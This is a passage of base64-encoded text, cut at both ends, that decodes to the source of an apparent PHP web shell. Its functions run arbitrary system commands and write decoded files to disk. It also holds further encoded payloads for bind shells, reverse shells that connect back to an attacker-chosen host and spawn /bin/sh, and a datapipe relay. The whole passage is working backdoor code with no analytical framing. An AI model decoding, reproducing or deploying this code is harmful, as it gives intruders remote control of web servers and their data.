EBvYl9zdGFydCgpOw0KICAgIEBzeXN0ZW0oJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQHBhc3N0aHJ1KCRjZmUpOw0KICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgQG9iX2VuZF9jbGVhbigpOw0KICAgfQ0KICBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpDQogIHsNCiAgICRyZXMgPSAiIjsNCiAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCiAgIEBwY2xvc2UoJGYpOw0KICB9DQogIGVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSAmJiBAaXNfcmVzb3VyY2UoJGYgPSBAcHJvY19vcGVuKCRjZmUsYXJyYXkoMSA9PiBhcnJheSgicGlwZSIsICJ3IikpLCRwaXBlcykpKQ0KICAgIHsNCiAgICAgJHJlcyA9ICIiOw0KICAgICBpZihAZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7DQogICAgICB3aGlsZSghQGZlb2YoJHBpcGVzWzFdKSkgeyRyZXMgLj0gQGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7fQ0KICAgICB9ZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7DQogICAgICB3aGlsZSghQGZlb2YoJHBpcGVzWzFdKSkgeyRyZXMgLj0gQGZnZXRzKCRwaXBlc1sxXSwgMTAyNCk7fQ0KICAgICB9DQogICAgIEBwcm9jX2Nsb3NlKCRmKTsNCiAgICB9DQogICB9DQogcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHJlcyk7DQp9DQpmdW5jdGlvbiBnZXRfdXNlcnMoKQ0Kew0KICAkdXNlcnMgPSAkcm93cyA9IGFycmF5KCk7DQogICAgJHJvd3M9QGV4cGxvZGUoIlxuIixtb3JlcmVhZCgkZmlsZW5hbWUpKTsNCiAgICBpZighJHJvd3NbMF0peyRyb3dzPUBleHBsb2RlKCJcbiIscmVhZHpsaWIoJGZpbGVuYW1lKSk7fQ0KICAgIGlmKCEkcm93c1swXSkgcmV0dXJuIDA7DQogICAgZm9yZWFjaCAoJHJvd3MgYXMgJHN0cmluZykNCiAgICAgew0KICAgICAkdXNlciA9IEBleHBsb2RlKCI6Iix0cmltKCRzdHJpbmcpKTsNCiAgICAgaWYoc3Vic3RyKCRzdHJpbmcsMCwxKSE9JyMnKSBhcnJheV9wdXNoKCR1c2VycywkdXNlclswXSk7DQogICAgIH0NCiAgcmV0dXJuICR1c2VyczsNCn0NCmZ1bmN0aW9uIGVycigkbiwkdHh0PScnKQ0Kew0KZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxmb250IGNvbG9yPVJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nOw0KZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07DQppZighZW1wdHkoJHR4dCkpIHsgZWNobyAiICR0eHQiOyB9DQplY2hvICc8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7DQpyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRtb2RlKQ0Kew0KaWYgKCEkR0xPQkFMU1sndW5peCddKSByZXR1cm4gMDsNCmlmKCAkbW9kZSAmIDB4MTAwMCApIHsgJHR5cGU9J3AnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NDAwMCApIHsgJHR5cGU9J2QnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4NjAwMCApIHsgJHR5cGU9J2InOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QTAwMCApIHsgJHR5cGU9J2wnOyB9DQplbHNlIGlmKCAkbW9kZSAmIDB4QzAwMCApIHsgJHR5cGU9J3MnOyB9DQplbHNlICR0eXBlPSd1JzsNCiRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7DQokZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCiRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCmlmKCAkbW9kZSAmIDB4ODAwICkgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDQwMCApICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnOw0KaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsNCiRzPXNwcmludGYoIiUxcyIsICR0eXBlKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCAkb3duZXJbJ3JlYWQnXSwgJG93bmVyWyd3cml0ZSddLCAkb3duZXJbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICR3b3JsZFsncmVhZCddLCAkd29ybGRbJ3dyaXRlJ10sICR3b3JsZFsnZXhlY3V0ZSddKTsNCnJldHVybiB0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikNCnsNCiRwYXRoID0gJyc7DQokcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0NCn0NCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKQ0Kew0KICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7DQogaWYoJHNpemUgIT0gMCkgeyAkcmV0IC49ICJzaXplPSIuJHNpemUuIiAiOyB9DQogJHJldCAuPSAidmFsdWU9XCIiLiR2YWx1ZS4iXCIiOw0KIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7DQogcmV0dXJuICRyZXQuIj4iOw0KfQ0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQ0Kew0KICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigwKTsNCiBpZigkd19maWxlKQ0KIHsNCiBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KIEBmY2xvc2UoJHdfZmlsZSk7DQogfQ0KfQ0KZnVuY3Rpb24gcHMoJHByKQ0Ke2dsb2JhbCAkdW5peDsNCiRwYXRoID0gJyc7DQppZigkdW5peCl7JHBhdGggPSBleCgicHMgLWF1eCB8IGdyZXAgJHByIHwgZ3JlcCAtdiAnZ3JlcCciKTt9DQplbHNleyRwYXRoID0gZXgoInRhc2tsaXN0IHwgZmluZHN0ciBcIiRwclwiIik7fQ0KaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfQ0KfQ0KZnVuY3Rpb24gbG9jYXRlKCRwcikNCnsNCiRwYXRoID0gJyc7DQokcGF0aCA9IGV4KCJsb2NhdGUgJHByIik7DQppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9DQp9DQpmdW5jdGlvbiBzcigkbCwkdDEsJHQyKQ0KIHsNCiByZXR1cm4gIjx0ciBjbGFzcz10cjE+PHRkIGNsYXNzPXRkMSB3aWR0aD0iLiRsLiIlIGFsaWduPXJpZ2h0PiIuJHQxLiI8L3RkPjx0ZCBjbGFzcz10ZDEgYWxpZ249bGVmdD4iLiR0Mi4iPC90ZD48L3RyPiI7DQogfQ0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkNCnsNCiBpZigkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICIgR0IiO30NCiBlbHNlaWYoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAiIE1CIjt9DQogZWxzZWlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7fQ0KIGVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30NCiByZXR1cm4gJHNpemU7DQp9DQp9DQogIGZ1bmN0aW9uIERpckZpbGVzUigkZGlyLCR0eXBlcz0nJykNCiAgew0KICAgICRmaWxlcyA9IEFycmF5KCk7DQogICAgaWYoKCRoYW5kbGUgPSBAb3BlbmRpcigkZGlyKSkpDQogICAgew0KICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSBAcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICB7DQogICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikNCiAgICAgICAgew0KICAgICAgICAgIGlmKEBpc19kaXIoJGRpci4iLyIuJGZpbGUpKQ0KICAgICAgICAgICAgJGZpbGVzID0gQGFycmF5X21lcmdlKCRmaWxlcyxEaXJGaWxlc1IoJGRpci4iLyIuJGZpbGUsJHR5cGVzKSk7DQogICAgICAgICAgZWxzZQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOw0KICAgICAgICAgICAgJGV4dCA9IEBzdWJzdHIoJGZpbGUsJHBvcyxAc3RybGVuKCRmaWxlKS0kcG9zKTsNCiAgICAgICAgICAgIGlmKCR0eXBlcykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgaWYoQGluX2FycmF5KCRleHQsZXhwbG9kZSgnOycsJHR5cGVzKSkpDQogICAgICAgICAgICAgICAgJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsNCiAgICB9DQogICAgcmV0dXJuICRmaWxlczsNCiAgfQ0KICBjbGFzcyBTZWFyY2hSZXN1bHQNCiAgew0KICAgIHZhciAkdGV4dDsNCiAgICB2YXIgJEZpbGVzVG9TZWFyY2g7DQogICAgdmFyICRSZXN1bHRGaWxlczsNCiAgICB2YXIgJEZpbGVzVG90YWw7DQogICAgdmFyICRNYXRjaGVzQ291bnQ7DQogICAgdmFyICRGaWxlTWF0c2NoZXNDb3VudDsNCiAgICB2YXIgJFRpbWVTdGFydDsNCiAgICB2YXIgJFRpbWVUb3RhbDsNCiAgICB2YXIgJHRpdGxlczsNCiAgICBmdW5jdGlvbiBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQ0KICAgIHsNCiAgICAgICRkaXJzID0gQGV4cGxvZGUoIjsiLCRkaXIpOw0KICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBBcnJheSgpOw0KICAgICAgZm9yKCRhPTA7JGE8Y291bnQoJGRpcnMpOyRhKyspDQogICAgICAgICR0aGlzLT5GaWxlc1RvU2VhcmNoID0gQGFycmF5X21lcmdlKCR0aGlzLT5GaWxlc1RvU2VhcmNoLERpckZpbGVzUigkZGlyc1skYV0sJGZpbHRlcikpOw0KICAgICAgJHRoaXMtPnRleHQgPSAkdGV4dDsNCiAgICAgICR0aGlzLT5GaWxlc1RvdGFsID0gQGNvdW50KCR0aGlzLT5GaWxlc1RvU2VhcmNoKTsNCiAgICAgICR0aGlzLT5UaW1lU3RhcnQgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgPSAwOw0KICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzID0gQXJyYXkoKTsNCiAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50ID0gQXJyYXkoKTsNCiAgICAgICR0aGlzLT50aXRsZXMgPSBBcnJheSgpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBHZXRGaWxlc1RvdGFsKCkgeyByZXR1cm4gJHRoaXMtPkZpbGVzVG90YWw7IH0NCiAgICBmdW5jdGlvbiBHZXRUaXRsZXMoKSB7IHJldHVybiAkdGhpcy0+dGl0bGVzOyB9DQogICAgZnVuY3Rpb24gR2V0VGltZVRvdGFsKCkgeyByZXR1cm4gJHRoaXMtPlRpbWVUb3RhbDsgfQ0KICAgIGZ1bmN0aW9uIEdldE1hdGNoZXNDb3VudCgpIHsgcmV0dXJuICR0aGlzLT5NYXRjaGVzQ291bnQ7IH0NCiAgICBmdW5jdGlvbiBHZXRGaWxlTWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7IH0NCiAgICBmdW5jdGlvbiBHZXRSZXN1bHRGaWxlcygpIHsgcmV0dXJuICR0aGlzLT5SZXN1bHRGaWxlczsgfQ0KICAgIGZ1bmN0aW9uIFNlYXJjaFRleHQoJHBocmFzZT0wLCRjYXNlPTApIHsNCiAgICAkcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMtPnRleHQpOw0KICAgICRkZWxpbSA9ICd8JzsNCiAgICAgIGlmKCRwaHJhc2UpDQogICAgICAgIGZvcmVhY2goJHFxIGFzICRrPT4kdikNCiAgICAgICAgICAkcXFbJGtdID0gJ1xiJy4kdi4nXGInOw0KICAgICAgJHdvcmRzID0gJygnLkBpbXBsb2RlKCRkZWxpbSwkcXEpLicpJzsNCiAgICAgICRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4iLyI7DQogICAgICBpZighJGNhc2UpDQogICAgICAgICRwYXR0ZXJuIC49ICdpJzsNCiAgICAgIGZvcmVhY2goJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFtZSkNCiAgICAgIHsNCiAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSA9IDA7DQogICAgICAgICRGaWxlU3RyaW5ncyA9IEBmaWxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7DQogICAgICAgIGZvcigkYT0wOyRhPEBjb3VudCgkRmlsZVN0cmluZ3MpOyRhKyspDQogICAgICAgIHsNCiAgICAgICAgICAkY291bnQgPSAwOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSAkRmlsZVN0cmluZ3NbJGFdOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSBAVHJpbSgkQ3VyU3RyaW5nKTsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gQHN0cmlwX3RhZ3MoJEN1clN0cmluZyk7DQogICAgICAgICAgJGFhID0gJyc7DQogICAgICAgICAgaWYoKCRjb3VudCA9IEBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwkQ3VyU3RyaW5nLCRhYSkpKQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRDdXJTdHJpbmcgPSBAcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCI8U1BBTiBzdHlsZT0nY29sb3I6ICM5OTAwMDA7Jz48Yj5cXDE8L2I+PC9TUEFOPiIsJEN1clN0cmluZyk7DQogICAgICAgICAgICAkdGhpcy0+UmVzdWx0RmlsZXNbJGZpbGVuYW1lXVskYSsxXSA9ICRDdXJTdHJpbmc7DQogICAgICAgICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsNCiAgICAgICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gKz0gJGNvdW50Ow0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHRoaXMtPlRpbWVUb3RhbCA9IEByb3VuZChnZXRtaWNyb3RpbWUoKSAtICR0aGlzLT5UaW1lU3RhcnQsNCk7DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIGdldG1pY3JvdGltZSgpDQogIHsNCiAgICBsaXN0KCR1c2VjLCRzZWMpID0gQGV4cGxvZGUoIiAiLEBtaWNyb3RpbWUoKSk7DQogICAgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQogIH0NCiRwb3J0X2JpbmRfYmRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNSNWNHVnpMbWcrRFFvamFXNWpiSFZrWlMNCkE4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MEkNCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQNCmIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWZabUZ0YVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ5WlcxdmRHVXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aGhkRzkNCnBLR0Z5WjNaYk1WMHBLVHNOQ2lCeVpXMXZkR1V1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3SUEwS0lITnZZMnRtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTEYNCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sNCmlrbWNtVnRiM1JsTENBd2VERXdLVHNOQ2lCc2FYTjBaVzRvYzI5amEyWmtMQ0ExS1RzTkNpQjNhR2xzWlNneEtRMEtJQ0I3RFFvZ0lDQnVaWGRtWkQxaFkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2cNCklDQmtkWEF5S0c1bGQyWmtMREFwT3cwS0lDQWdaSFZ3TWlodVpYZG1aQ3d4S1RzTkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2sNCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTINCjl0WlNCMGJ5QnlOVGNnYzJobGJHd2dKaVlnTDJKcGJpOWlZWE5vSUMxcElpazdEUW9nSUNCbGJITmxEUW9nSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVTI5eWNua2lLVHNOQ2lBZ0lHTnNiM05sS0c1bGQNCjJaa0tUc05DaUFnZlEwS0lIME5DbjBOQ21sdWRDQmphSEJoYzNNb1kyaGhjaUFxWW1GelpTd2dZMmhoY2lBcVpXNTBaWEpsWkNrZ2V3MEthVzUwSUdrN0RRcG1iM0lvYVQwd08yazhjM1J5YkdWdUtHVnUNCmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXANCmxiblJsY21Wa1cybGRJRDBnSjF3d0p6c05DbjBOQ21sbUlDZ2hjM1J5WTIxd0tHSmhjMlVzWlc1MFpYSmxaQ2twRFFweVpYUjFjbTRnTURzTkNuMD0iOw0KJHBvcnRfYmluZF9iZF9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dlltRnphQ0F0YVNJN0RRcHBaaUFvUUVGU1IxWWdQQ0F4S1NCN0lHVjRhWFFvTVNrN0lIME5DaVJNUw0KVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcw0KSmxOUFEwdGZVMVJTUlVGTkxDUndjbTkwYjJOdmJDa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVg0KVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRXhKVTFSRlRsOVFUMUpVTEVsT1FVUkVVbDlCVGxrcEtTQjhmQ0JrYVdVZ0lrTmhiblFnYjNCbGJpQndiM0owWEc0aU93MEtiRw0KbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSw0KUTBLZXcwS1pHbGxJQ0pEWVc1dWIzUWdabTl5YXlJZ2FXWWdLQ0ZrWldacGJtVmtJQ1J3YVdRcE93MEtiM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ205d1pXNGdVMVJFVDFWVUxDSStKa05QVGs0aQ0KT3cwS2IzQmxiaUJUVkVSRlVsSXNJajRtUTA5T1RpSTdEUXBsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ21Oc2IzTg0KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOw0KJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWag0KYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUg0KaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVA0Kc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSQ0Ka1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaQ0KS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbA0KT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQokYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDDQpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliDQpTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkDQpLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKDQpzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDDQpBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEDQpRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwDQpPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQokZGF0YXBpcGVfYz0iSTJsdVkyeDFaR1VnUEhONWN5OTBlWEJsY3k1b1BnMEtJMmx1WTJ4MVpHVWdQSE41Y3k5emIyTnJaWFF1YUQ0TkNpTnBibU5zZFdSbElEeHplWE12ZDJGcGRDNW9QZzBLSTJsdVkyDQp4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JwYnk1b1BnMEtJMmx1WTJ4MVpHVWdQSE4wWkd4cFlpNW9QZzBLSTJsdVkyeDFaR1VnUEdWeWNtNXZMbWcrRFFvamFXNWpiDQpIVmtaU0E4ZFc1cG